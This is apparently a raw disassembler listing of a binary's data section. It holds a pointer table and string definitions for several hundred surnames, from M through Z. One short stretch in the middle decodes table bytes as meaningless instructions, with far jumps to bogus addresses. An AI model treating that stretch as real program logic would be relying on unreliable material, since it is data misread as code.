		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
; ---------------------------------------------------------------------------
		fsubr	st, st(3)
		inc	edx
		add	al, dl
		jmp	short loc_42E6E1
; ---------------------------------------------------------------------------
		align 10h
		enter	42EBh, 0
		shr	bl, 42h
		add	[eax-53FFBD15h], bh
		jmp	short loc_42E6F1
; ---------------------------------------------------------------------------
		align 10h
		mov	al, ds:980042EBh


loc_42E6B5:				; CODE XREF: ___:0042E6C8j
		jmp	short loc_42E6F9
; ---------------------------------------------------------------------------
		align 4
		dd offset aTudge	; "Tudge"
; ---------------------------------------------------------------------------
		mov	bl, ch
		inc	edx
		add	[eax+780042EBh], al
		jmp	short loc_42E709
; ---------------------------------------------------------------------------
		align 4
		jo	short loc_42E6B5
		inc	edx
		add	[eax-15h], ch
		inc	edx
		add	[ebx+ebp*8+42h], bl
		add	[ebx+ebp*8+42h], dl
		add	[eax-15h], cl
		inc	edx
		add	[eax-15h], al
		inc	edx
		add	[eax], bh


loc_42E6E1:				; CODE XREF: ___:0042E69Dj
		jmp	short loc_42E725
; ---------------------------------------------------------------------------
		align 4
		sub	bl, ch
		inc	edx
		add	[eax], ah
		jmp	short loc_42E72D
; ---------------------------------------------------------------------------
		align 4
		sbb	bl, ch
		inc	edx
		add	[eax], dl


loc_42E6F1:				; CODE XREF: ___:0042E6ADj
		jmp	short loc_42E735
; ---------------------------------------------------------------------------
		align 4
		dd offset aWaite	; "Waite"
		db 0
; ---------------------------------------------------------------------------


loc_42E6F9:				; CODE XREF: ___:loc_42E6B5j
		jmp	short loc_42E73D
; ---------------------------------------------------------------------------
		align 4
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		db 0D8h
; ---------------------------------------------------------------------------


loc_42E709:				; CODE XREF: ___:0042E6C5j
		jmp	far ptr	42h:0EACC0042h
; ---------------------------------------------------------------------------
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		db 88h
; ---------------------------------------------------------------------------


loc_42E725:				; CODE XREF: ___:loc_42E6E1j
		jmp	far ptr	42h:0EA800042h
; ---------------------------------------------------------------------------
		db 74h
; ---------------------------------------------------------------------------


loc_42E72D:				; CODE XREF: ___:0042E6E9j
		jmp	far ptr	42h:0EA680042h
; ---------------------------------------------------------------------------
		pop	esp


loc_42E735:				; CODE XREF: ___:loc_42E6F1j
		jmp	far ptr	42h:0EA500042h
; ---------------------------------------------------------------------------
		db 44h
; ---------------------------------------------------------------------------


loc_42E73D:				; CODE XREF: ___:loc_42E6F9j
		jmp	far ptr	42h:0EA380042h
; ---------------------------------------------------------------------------
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:0042E830o
		align 10h
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0042E82Co
		align 4
aZurn		db 'Zurn',0             ; DATA XREF: ___:0042E828o
		align 10h
aZucconi	db 'Zucconi',0          ; DATA XREF: ___:0042E824o
aZoldak		db 'Zoldak',0           ; DATA XREF: ___:0042E820o
		align 10h
aZerbini	db 'Zerbini',0          ; DATA XREF: ___:0042E81Co
aZegans		db 'Zegans',0           ; DATA XREF: ___:0042E818o
		align 10h
aZangwill	db 'Zangwill',0         ; DATA XREF: ___:0042E814o
		align 4
aZahedi		db 'Zahedi',0           ; DATA XREF: ___:0042E810o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: ___:0042E80Co
aYu		db 'Yu',0               ; DATA XREF: ___:0042E808o
		align 10h
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:0042E804o
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: ___:0042E800o
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:0042E7FCo
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:0042E7F8o
		align 10h
aYesson		db 'Yesson',0           ; DATA XREF: ___:0042E7F4o
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:0042E7F0o
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:0042E7ECo
		align 4
aYates		db 'Yates',0            ; DATA XREF: ___:0042E7E8o
		align 10h
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:0042E7E4o
aYankee		db 'Yankee',0           ; DATA XREF: ___:0042E7E0o
		align 10h
aYamane		db 'Yamane',0           ; DATA XREF: ___:0042E7DCo
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: ___:0042E7D8o
		align 10h
aVotey		db 'Votey',0            ; DATA XREF: ___:0042E7D4o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:0042E7D0o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:0042E7CCo
		align 10h
aWoods		db 'Woods',0            ; DATA XREF: ___:0042E7C8o
		align 4
aWooden		db 'Wooden',0           ; DATA XREF: ___:0042E7C4o
		align 10h
aWoo		db 'Woo',0              ; DATA XREF: ___:0042E7C0o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:0042E7BCo
		align 10h
aWolk		db 'Wolk',0             ; DATA XREF: ___:0042E7B8o
		align 4
aVoigt		db 'Voigt',0            ; DATA XREF: ___:0042E7B4o
		align 10h
aViviani	db 'Viviani',0          ; DATA XREF: ___:0042E7B0o
aVitali		db 'Vitali',0           ; DATA XREF: ___:0042E7ACo
		align 10h
aWilson		db 'Wilson',0           ; DATA XREF: ___:0042E7A8o
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:0042E7A4o
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:0042E7A0o
		align 10h
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0042E79Co
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:0042E798o
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: ___:0042E794o
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:0042E790o
aWilder		db 'Wilder',0           ; DATA XREF: ___:0042E78Co
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: ___:0042E788o
aViens		db 'Viens',0            ; DATA XREF: ___:0042E784o
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: ___:0042E780o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0042E77Co
aViano		db 'Viano',0            ; DATA XREF: ___:0042E778o
		align 4
aViana		db 'Viana',0            ; DATA XREF: ___:0042E774o
		align 10h
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:0042E770o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0042E76Co
		align 4
aWhite		db 'White',0            ; DATA XREF: ___:0042E768o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: ___:0042E764o
aWhately	db 'Whately',0          ; DATA XREF: ___:0042E760o
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0042E75Co
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: ___:0042E758o
aVerghese	db 'Verghese',0         ; DATA XREF: ___:0042E754o
		align 4
aVenne		db 'Venne',0            ; DATA XREF: ___:0042E750o
		align 10h
aWengret	db 'Wengret',0          ; DATA XREF: ___:0042E74Co
aWelsh		db 'Welsh',0            ; DATA XREF: ___:0042E748o
		align 10h
aWelles		db 'Welles',0           ; DATA XREF: ___:0042E744o
		align 4
aVelasquez	db 'Velasquez',0
		align 4
aWeissman	db 'Weissman',0
		align 10h
aWeissbourd	db 'Weissbourd',0
		align 4
aWeinhaus	db 'Weinhaus',0
		align 4
aWeingarten	db 'Weingarten',0
		align 4
aWeighart	db 'Weighart',0
		align 10h
aWaugh		db 'Waugh',0
		align 4
aVasquez	db 'Vasquez',0
aWasowska	db 'Wasowska',0         ; DATA XREF: ___:0042E720o
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: ___:0042E71Co
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: ___:0042E718o
		align 4
aVandenberg	db 'Vandenberg',0       ; DATA XREF: ___:0042E714o
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: ___:0042E710o
aVanallen	db 'vanAllen',0
		align 4
aWalter		db 'Walter',0
		align 10h
aWallenberg	db 'Wallenberg',0       ; DATA XREF: ___:0042E704o
		align 4
aWales		db 'Wales',0            ; DATA XREF: ___:0042E700o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: ___:0042E6FCo
		align 10h
aValberg	db 'Valberg',0
aWaite		db 'Waite',0            ; DATA XREF: ___:0042E6F4o
		align 10h
aVacca		db 'Vacca',0
		align 4
aUzuner		db 'Uzuner',0
		align 10h
aUsdan		db 'Usdan',0
		align 4
aUrdangBrown	db 'Urdang-Brown',0
		align 4
aUrban		db 'Urban',0
		align 10h
aUpsdell	db 'Upsdell',0
aUntermeyer	db 'Untermeyer',0
		align 4
aUllman		db 'Ullman',0
		align 4
aTzamarias	db 'Tzamarias',0
		align 4
aTwells		db 'Twells',0
		align 10h
aTuttle		db 'Tuttle',0
		align 4
aTurek		db 'Turek',0
		align 10h
aTurano		db 'Turano',0
		align 4
aTukan		db 'Tukan',0
		align 10h
aTudge		db 'Tudge',0            ; DATA XREF: ___:0042E6B8o
		align 4
aTuck		db 'Tuck',0
		align 10h
aTsukurov	db 'Tsukurov',0
		align 4
aTsomides	db 'Tsomides',0
		align 4
aTsiatis	db 'Tsiatis',0
aTruss		db 'Truss',0
		align 4
aTroy		db 'Troy',0
		align 10h
aTroiani	db 'Troiani',0
aTringali	db 'Tringali',0
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: ___:0042E694o
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: ___:0042E690o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: ___:0042E68Co
		align 10h
aToye		db 'Toye',0             ; DATA XREF: ___:0042E688o
		align 4
aTowler		db 'Towler',0           ; DATA XREF: ___:0042E684o
		align 10h
aTorske		db 'Torske',0           ; DATA XREF: ___:0042E680o
		align 4
aTorresi	db 'Torresi',0          ; DATA XREF: ___:0042E67Co
aTopulos	db 'Topulos',0          ; DATA XREF: ___:0042E678o
aToomer		db 'Toomer',0           ; DATA XREF: ___:0042E674o
		align 10h
aTomford	db 'Tomford',0          ; DATA XREF: ___:0042E670o
aTolman		db 'Tolman',0           ; DATA XREF: ___:0042E66Co
		align 10h
aTolls		db 'Tolls',0            ; DATA XREF: ___:0042E668o
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:0042E664o
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:0042E660o
		align 10h
aTimmons	db 'Timmons',0          ; DATA XREF: ___:0042E65Co
aTill		db 'Till',0             ; DATA XREF: ___:0042E658o
		align 10h
aTierney	db 'Tierney',0          ; DATA XREF: ___:0042E654o
aThroop		db 'Throop',0           ; DATA XREF: ___:0042E650o
		align 10h
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:0042E64Co
aThisted	db 'Thisted',0          ; DATA XREF: ___:0042E648o
aThibault	db 'Thibault',0         ; DATA XREF: ___:0042E644o
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: ___:0042E640o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:0042E63Co
		align 4
aThan		db 'Than',0             ; DATA XREF: ___:0042E638o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: ___:0042E634o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: ___:0042E630o
		align 10h
aTemmer		db 'Temmer',0           ; DATA XREF: ___:0042E62Co
		align 4
aTemes		db 'Temes',0            ; DATA XREF: ___:0042E628o
		align 10h
aTeague		db 'Teague',0           ; DATA XREF: ___:0042E624o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:0042E620o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: ___:0042E61Co
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: ___:0042E618o
aTatar		db 'Tatar',0            ; DATA XREF: ___:0042E614o
		align 4
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:0042E610o
		align 4
aTandler	db 'Tandler',0          ; DATA XREF: ___:0042E60Co
aTambiah	db 'Tambiah',0          ; DATA XREF: ___:0042E608o
aTalaugon	db 'Talaugon',0         ; DATA XREF: ___:0042E604o
		align 4
aTai		db 'Tai',0              ; DATA XREF: ___:0042E600o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: ___:0042E5FCo
aSwindle	db 'Swindle',0          ; DATA XREF: ___:0042E5F8o
aSweetser	db 'Sweetser',0         ; DATA XREF: ___:0042E5F4o
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: ___:0042E5F0o
		align 10h
aSurdam		db 'Surdam',0           ; DATA XREF: ___:0042E5ECo
		align 4
aSuo		db 'Suo',0              ; DATA XREF: ___:0042E5E8o
aSumner		db 'Sumner',0           ; DATA XREF: ___:0042E5E4o
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: ___:0042E5E0o
		align 10h
